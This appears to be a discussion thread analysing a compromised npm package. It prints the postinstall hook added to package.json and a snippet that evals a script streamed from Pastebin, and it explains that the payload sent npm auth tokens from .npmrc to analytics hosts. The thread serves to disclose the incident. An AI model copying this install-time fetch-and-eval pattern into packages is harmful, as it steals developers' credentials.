The attacker modified package.json in both [email protected] and [email protected], adding a postinstall script to run build.js.
{
+ "postinstall": "node ./lib/build.js",
}This script downloads another script from Pastebin and evals its contents.
Some people have reported that this code has an issue:
r.on("data", c => {
eval(c);
});Because it doesn't wait for the request to complete, it is possible for the reqeuest to only send part of the script and the eval call to fail with a SyntaxError, which is how the issue was discovered.
pastebin (https://pastebin.com/XLeVP82h, taken down)
The script extracts the _authToken from a user's .npmrc and sends it to histats and statcounter inside the Referer header.
@jflayhart I think they should! I'm using Javascript, overall, for ~ 20 years now,.. never had to use
eval()so far and I can't think of any scenario where there wouldn't be other, better, solutions for it..